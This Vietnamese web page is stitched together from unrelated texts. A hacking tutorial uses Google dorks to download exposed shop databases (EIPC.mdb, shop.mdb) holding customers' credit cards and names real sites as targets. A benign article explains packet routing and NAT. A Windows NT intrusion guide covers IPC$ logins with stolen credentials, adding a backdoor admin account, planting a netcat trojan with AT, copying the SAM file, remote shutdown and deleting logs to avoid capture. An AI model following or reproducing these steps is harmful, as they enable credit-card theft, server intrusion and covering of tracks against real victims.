http://store.klas-fm.firstmediaworks.com/ProductCart/Database

+Tự nhiên cái thấy vui nên viết dòng này.

+Nếu bạn chưa thấy được Database thì để Silvery Hat Hacker giúp vậy, bạn thêm EIPC.mdb vào nơi tận cùng link sau khi đã qua các giai đọan ở trên, ta có ví dụ :

http://store.klas-fm.firstmediaworks.com/ProductCart/Database/EIPC.mdb

+Thử click Refresh hoặc Go trên trình duyệt. Chẳng thấy gì xảy ra cả, tự nhiên bắt tải tập tin gì đó gần 2.24 Mb về máy với đuôi mdb. Mở ra hàng đống cột và bàng như Credit Cards, Customers, Admin, Orders.....



C\Tóm gọn:

-Đối tượng : ProductCart của hãng Early Impact.

-Phiên bản : Không rõ.

-Đối tượng có liên quan : trình tìm kiếm Google.

-Mức độ lỗi : Nguy hiểm cho người mua hàng ở Website đó.

+Khả năng lấy được Credit Card : 3.5/5

-Công thức - Cách khai thác gồm có :

http://www.tên website dùng ProductCart.tên miền/ProductCart/Database/EIPC.mdb

-Được gì ?

Tập tin chứa Credit Cards của Website đó.

-Vấn đề lớn nhưng cũng hơi nhỏ : có thể Database bị mã hóa !

-Hướng giải quyết : Tìm trình giải mã bằng Google



Bài viết đến đây chấm dứt. Tùy vào khả năng mỗi bạn mà có thể hack được hay không. Nhưng vấn đề chính ở đây là cách giải mã nếu database bị mã hóa mà thôi. Silvery Hat Hacker đã thử viết 1 trình nhưng cho ra kết quả Credit Card 1 nơi , tên 1 nơi, địa chỉ lại ở nơi khác nên thôi, bạn nên vào Google và tìm trình giải mã. Có lẽ qua câu lệnh như : Mdp Decoder chẳng hạn.



Bài phụ :

I\Lỗi đường dẫn Fpdb của 1 trình quản lý mua hàng trực tuyến :

+Tìm trong Google với từ khóa sau :

allinurl: /fpdb/

+Vài chục trang sẽ xuất hiện, Silvery Hat Hacker đưa ví dụ sau :

http://home.cfl.rr.com/pcscap/Fpdb/

+Trong cửa sổ mới, bạn chọn tùy lọai mdb mà tải về.

+Khả năng lấy được Credit Card : 3/5



I\Lỗi đường dẫn shop.mdb của 1 trình quản lý mua hàng trực tuyến :

+Lại là Google thôi bạn :

allinurl: shop.mdb

+Vài chục trang sẽ lại xuất hiện, Silvery Hat Hacker cũng đưa ví dụ chứng minh :

http://www.thomas.edu/larochelle/cs116/2003spring/Access/Hockey%20Shop.mdb

http://www.staff.sbc.edu/kcook/classfiles/AccessTables/Noah’s%20Pet%20Shop.mdb

+Khả năng lấy được Credit Card : 1.75/5

Mục đích của bài viết này là mang lại một cái nhìn cơ bản về hành trình của các gói dữ liệu trao đổi trên Internet từ việc tạo các gói được tạo đến các Switch, Router, NAT và cách thức truyền tải dữ liệu trên Internet. Chủ đề này sẽ rất hay đối với những người mới nghiên cứu về lĩnh vực mạng và bảo mật và những người có ít kiến thức cơ bản về quá trình xử lý dữ liệu trên Internet.

Giới thiệu

Có lẽ trong một vài bài báo, chúng ta cũng đã thấy được sự quan trọng của hai lĩnh vực về bảo mật máy tính đối với người mới sử dụng đó là: programming và networking. Trong khi chúng là hai phần khác nhau thì cả hai cần phải được xem có tầm quan trọng như nhau. Nếu không có việc lập trình các giao thức mạng thì sẽ không có mạng. Điều cần hỏi ở đây là: có bắt buộc cần phải có một lập trình viên để nắm được một cách đầy đủ các khái niệm về mạng và lý thuyết mạng ở mức thấp hay không? Trong nhiều trường hợp là không cần như vậy. Mặc dù vậy, một sự ham hiểu của các độc giả sẽ là tốt và có thể hướng anh ta vào việc lập trình tại một vài điểm để có thêm các thử nghiệm với các giao thức khác và lý thuyết mạng.

Với những người mới với lĩnh vực này, ấn tượng đầu tiên với một máy tính là cái gì đó khó có thể quên. Khi một ai đó khám phá ra Internet, sự giàu có của thông tin tạo cho họ một cảm giác kinh sợ và tạo nên cho họ một hứng khởi là các kỹ thuật bên trong của nó làm việc như thế nào. Bất kỳ ai dường như cũng bị rơi vào một thế giới hoàn toàn mới khi sử dụng một máy tính để kết nối với các hệ thống khác bên phía bờ kia của thế giới. Họ sẽ tò mò về các máy tính và mạng làm các công việc này như thế nào? Và thông tin truyền từ máy tính này đến máy tính kia đi qua tất cả các thiết bị khác nhau để đến được đích của nó như thế nào?

Các hành trình

Khi một ứng dụng Internet được gọi thì một loạt các sự kiện sẽ xảy ra. Trong bài viết này chúng tôi chỉ giới thiệu một cách đơn giản một gói được tạo ra như thế nào và các thiết bị sẽ đưa nó đi theo nhiều con đường để đến đích của nó ra sao. Việc hiểu biết về việc gì xảy ra giữa điểm A và điểm Z có thể khá hữu ích trong việc tiếp cận đến lĩnh vực này.

Bây giờ chúng ta nên mô tả những gì xảy ra từ thời điểm một ứng dụng được gọi đến lúc các gói được tạo ra bằng các ứng dụng tới được đích của nó. Giả sử rằng bạn sử dụng Firefox để kiểm tra xem một tin tức trên trang web yêu thích của bạn. Một loạt các sự kiện đã được thiết lập nên trong sự chuyển động này là hoàn toàn trong suốt đối với bạn. Sau khi bắt tay TCP/IP ban đầu, trình duyệt web của bạn sẽ gửi một yêu cầu đến máy chủ web server mà trang chủ của bạn đang hỏi cho trang chủ của nó. Thông tin yêu cầu HTTP GET bây giờ cần phải gửi đến web server. Những gì xảy ra với Firefox khi kích ứng dụng của bạn là làm một yêu cầu đến hệ thống. Quá trình này sẽ đưa dữ liệu mà Firefox muốn gửi được copy từ các không gian nhớ của các ứng dụng đến bộ đệm bên trong không gian trung tâm.

Phụ thuộc vào giao thức truyền tải nào mà ứng dụng sử dụng, lớp socket sẽ gọi cả UDP và TCP. Chúng ta cần phải nhớ rằng có rất nhiều ứng dụng không sử dụng TCP như một giao thức truyền tải. DNS sử dụng cả hai UDP và TCP, trong khi các ứng dụng khác như là TFTP chỉ sử dụng UDP. Lớp socket gọi giao thức truyền tải thích hợp, khi đó dữ liệu sẽ được copy xuống vào bộ đệm socket.

Sự chia nhỏ dữ liệu

Khi copy dữ liệu từ yêu cầu GET được thực hiện đến một bộ đệm socket, TCP sẽ chia nhỏ dữ liệu này nếu cần thiết. Mặc dù một yêu cầu GET là tương ứng với một gói và sẽ đi bên trong MTU của Ethernet không có vấn đề gì, nhưng việc gì sẽ xảy ra nếu các yêu cầu của trình duyệt vượt quá MTU? Khi đó TCP sẽ chia nhỏ dữ liệu để bảo đảm kích thước phù hợp với giới hạn 1500bytes của Ethernet MTU. Một điểm chính đáng nhớ ở đây là sự chia nhỏ này sẽ xảy ra tại lớp TCP nếu ứng dụng yêu cầu sử dụng TCP như là giao thức truyền tải dữ liệu của chúng.

Việc truyền tải dữ liệu trong môi trường mạng.

Dữ liệu được tạo hợp với chức năng lớp truyền tải riêng của nó, hãy xem xét lớp IP. Tại đây, header IP được xây dựng và tất cả các địa chỉ IP quan trọng được gán vào. Sau đó, dự liệu sẽ theo các đường liên kết dữ liệu, nơi mà cả hai lớp điều khiển liên kết logic và điều khiển truy cập thực hiện phần việc này. Cuối cùng, dữ liệu được sẵn sàng để truyền bằng các lớp vật lý được tích hợp trong hệ thống bằng các NIC card. Với hầu hết các người dùng tại nhà, một router SoHo đã được kết hợp của cả chuyển mạch (switch) và router đơn giản. Với người dùng trong công ty, switch là một phần cứng tách biệt với router của nó. Nếu trong môi trường công ty các máy tính có thể nối với các switch qua đường cáp. Nếu switch không có bảng hard-coded CAM thì swtich cần chú ý đến địa chỉ MAC của máy tính (duy nhất cho mỗi Ethernet card). Khi gói dữ liệu đến từ quá trình truyền tải của nó mang theo dữ liệu của website như được yêu cầu trong GET request chuyển mạch theo hướng ngược của trình khách nó sẽ hiểu nơi để gửi các gói đó trở lại.

Trình khách hiểu các gateway mặc định của nó như thế nào? Dù nó là mạng công ty hay tại nhà thì hệ thống sẽ luôn thực hiện một gói DHCP một lần để nó khởi động và lấy thông tin chính từ server DHCP. Do không phải tất cả các hệ thống đều sử dụng DHCP, vì thế không có địa chỉ IP hay gateway được định trước. Thông tin trong đó như là tên server DNS nào được sử dụng, địa chỉ IP của nó và địa chỉ IP gateway mặc định. Nếu DHCP bị tắt, người quản trị hệ thống sẽ phải vào tất cả các thông tin này bằng tay. Cực kỳ không hiệu quả chút nào, nên nó giải thích tại sao DHCP được bật trong hầu hết các mạng.

Với gateway mặc định ở gần, máy tính hiểu đích đi đến để truy cập Internet và lấy dữ liệu trang web khi được yêu cầu bởi Firefox. Sau khi các gói đi qua switch nó hình thành đường để dễ dàng đi qua firewall đến router. Các packet nên được cho qua một firewall, khi đó firewall sẽ làm một vài công việc chính. Một firewall với đầy đủ tính năng sẽ ghi địa chỉ IP và port nguồn, cộng địa chỉ IP và port đích. Firewall sẽ giữ thông tin này trong bảng trạng thái của bộ nhớ, bằng cách này nó sẽ quy định sự truy cập vào mạng bên trong như thế nào. Nếu một gói không được ghi thì nó sẽ không được truy cập vào trong mạng. Trong một dịp khác chúng tôi sẽ giới thiệu với các bạn về vai trò của firewall đối với việc bảo vệ máy tính của bạn như thế nào.

Các router và NAT

Bây giờ, khi các gói đã đi qua firewall, nếu hiện tại nó đang đi đến router. Địa chỉ IP cá nhân mà các gói có (giả định nó là một địa chỉ cơ bản 192.168/16) sẽ được biến đổi thành một địa chỉ IP chung có thể định tuyến, cái mà được cho bởi ISP của bạn. Nó cũng được gán cho router của bạn. Các gói bây giờ bắt đầu cuộc hành trình của nó trên Internet và qua vô số các router trong chuyến đi của nó. Mỗi thời điểm đó, các gói hướng đến một router khác. Vậy cái gì xảy ra với chính các gói.

Hãy bắt đầu bằng việc nhìn vào router. Nó sẽ định tuyến các gói dựa vào thông tin trong bảng định tuyến của chính nó. Đến khi router tiếp theo nhận được các gói này nó sẽ tính toán theo bảng định tuyến của nó để tìm ra con đường ngắn nhất cho việc truyền tải gói tin này. Một trong vài phần nó sẽ thay đổi đó là TTL “time to live”. Bây giờ phần header IP của nó được thay đổi, do đó các router cần phải tính toán một giá trị tổng mới cho các gói. Cứ tương tự như vậy cho tới khi các gói đến được địa chỉ đích mong muốn của nó.

Lớp vật lý sẽ thực hiện một IRQ đến CPU đã chỉ rõ rằng có dữ liệu đã được xử lý. Sau đó, dữ liệu sẽ đi lên lớp data link, đây chính là nơi mà webserver sẽ nhận ra MAC và tiếp tục đi lên lớp IP, sau đó là lớp transport (nơi dữ liệu được đưa vào bộ đệm). Tại lớp này các thông tin của ứng dụng mà dữ liệu mang theo cho nó được xử lý ở đây. Kết quả cuối cùng là thông tin được yêu cầu cho yêu cầu GET đã được gửi trở lại. Tương tự như thế với một gói mới thì quá trình cũng xảy một loạt các sự kiện như vậy.

Kết luận

Nhìn chung bài báo này đã cố gắng để trình bày cho các bạn có một kiến thức cơ bản về mạng và các khái niệm chung của routing, switching và NAT. Mong các bạn có thể tiếp tục thực hiện những nghiên cứu thêm để nắm sâu hơn về nó và chúc các bạn thành công.

Phạm Văn Linh

Phần 1 : Net

chỉ cần bạn có được User và Passwords của một IP nào trên Net...thế là bồ có thể kết nói một IPC$ rỗng rồi đấy....

bây giờ tớ xin ví dụ là bạn có được User la hbx và passwords : 123456...IP : 127.0.0.1

cậu hãy mở trình Ms dos và gõ vào lệnh sau :

Net use 127.0.0.1ipc$ "123456" /user:"hbx" đẩ kết nồi một IPC$ rỗng với máy victtim

nhưng thao tác tiếp theo..bạn nhất thiết phải login xong mới có thể sử dụng

-------------------------

bây giờ chúng ta nói tiếp làm thế nào để tạo một user mới nghe...

chúng ta cộng thệm môt user mới là heibai và password lovechina

Net user heibai lovechina / add

nếu bạn thành công..thì có thể cộng user này vào nhom Adminstrator

Net Localgroup Adminstrator heibai / add

-------------------------

trong phần này tớ hướng dẫn tạo một ổ đỉa Ảo trên computer

Net use z: 127.0.0.1C$ ( hoặc là IPC$ )

Z là của mình...còn C$ là của Victim


Phần 2 : AT

thông thường thì khi độp nhập vào máy tính..chúng ta sẻ tặng quà lưu niệm cho victim trước khi rút lui,....vậy khi copy trojan lên máy rồi...làm thế nào dể khới động nó đây ?

chúng ta phải dùng đến lệnh AT thôi.....

đầu tiên...chúng ta cần biết thời gian của đối phương

Net time 127.0.0.1

bây giờ thì nó sẽ phản hồi thời gian của victim...vd : 12:0 ..
tiếp theo..chúng ta cần tạo môt homework ID = 1

AT 127.0.0.1 12:3 nc.exe

ở đây giả thiết là tui có con trojan la Nc.exe và đã được copy lên máy victim rồi

* giới thiệu chút it về NC...NC là từ viết tắc của NETCAT....nó là một telnet server với port 99

đợi đến 12:3 là nó sẽ tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99..thế là xong phần lưu bút


phần 3 : Telnet

đây là một lệnh rất cần thiết khi xâm nhập máy tính...nó có thể kết nối vớ máy tính khắc từ xa..nhưng thường thi phải có I D & PW..nhưng nếu máy đã Ăn Đạn rồi thì bạn chỉ cần connected đến port 99 là ok

Telnet 127.0.0.1 99

thế là bồ đã kết nối đến port 99 và có thể thực hiện tất cả các lệnh...


Phần 4 : Copy

bây giờ chúng ta nói tiêp...làm thế nào để copy files trên máy mình lên máy victim và làm ngược lại....nhưng bạn phải có kết nối IPC$ cái đã....

chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1

Copy Index.html 127.0.0.1C$index.html

nếu bạn copy lên folder winNt

Copy index.html 127.0.0.1admin$index.html

muốn copy files trên máy victm thì bạn gõ vào :

Copy 127.0.0.1Admin$repairsam._c:


phần 5 : Set

nếu bạn muốn hack một website......tất nhiến là phải mở port 80..nếu không thì cậu hack cho ai xem ?

đã tới lúc dùng lệnh Set rồi

sau đây là kết quả mà tớ tìm thấy......chúng ta phân tích nghe....chủ yếu là muốn biêt homepage nó ở đâu thôi.....

COMPUTERNAME=PENTIUMII
ComSpec=D:WINNTsystem32cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST= DAY LA SO IP CUA TUI..NHUNG TUI DEL ROIHTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
NUMBER_OF_PROCESSORS=1
Os2LibPath=D:WINNTsystem32os2dll;
OS=Windows_NT
Path=D:WINNTsystem32;D:WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=E:vlroot DAY LA URL CUA HOMEPAGE， CHI CAN NHIN SAU DONG PATH_TRANSLATED= LA BIET NO O DAU 。O DAY LA E:vlroot PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0303
PROMPT=$P$G
QUERY_STRING=/c+set
REMOTE_ADDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe
SERVER_NAME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/3.0
SystemDrive=D:
SystemRoot=D:WINNT
TZ=GMT-9
USERPROFILE=D:WINNTProfilesDefault User
windir=D:WINNT

đây là cách khá ngu..nhưng chỉ có cách này mới 100% biết đuợc homepage tên gì..ở ảâ ? khi cậu Dir ..chắc chắn là sẽ View được rất nhiều files đấy`.....

phần 6 : Nbtstat

nếu cậu Scan đuợc một máy sữ dụng Winnt...open port 135-139...thế thì bồ phải dùng lệnh này để biết thêm user thôi...

* tiện thể xin nói luôn...đây là netbios....sau khi có user rồi bạn có thể đoán mò password..nếu không thi Cracking luôn đi

Nbtstat - A XXX.XXX.XXX.XXX

sau đây là kết quả tớ scan được.....

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
Registered Registered Registered Registered Registered Registered Registered Reg
istered Registered Registered Registered
MAC Address = 00-E0-29-14-35-BA
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
ORAHOTOWN <00> GROUP
ORAHOTOWN <1C> GROUP
ORAHOTOWN <1B> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1C> GROUP
IS~PENTIUMII...<00> UNIQUE
ORAHOTOWN <1E> GROUP
ORAHOTOWN <1D> UNIQUE
..__MSBROWSE__.<01> GROUP

kết quả cho biết User là PENTIUMII。


phần 7 : Shutdown

nhìn lệnh thôi cũng đủ biết rồi phải hông ? đây là lệnh shutdown server Winnt

Shutdown 127.0.0.1 t:20

20 giây sau...Winnt sẽ tự khời động lại.......hi vọng các bạn suy nghỉ kỷ trước khi dùng lệnh này....vì nó sẽ làm tổn thất rất nặng cho victim...hãy làm tay hacker có đạo đức


phần 8 : Dir....

lệnh này không có gì để nói hết..chỉ dùng để view thôi.................


phần 9 : Del

lệnh này giống như xoá nhật ký vậy đó.....khi chúng ta xâm nhập máy tình...trên hệ thống sẽ lưu lại thông tin của chúng ta..vì thế..nên del nó đi...chư muốn bị tóm cổ hả ?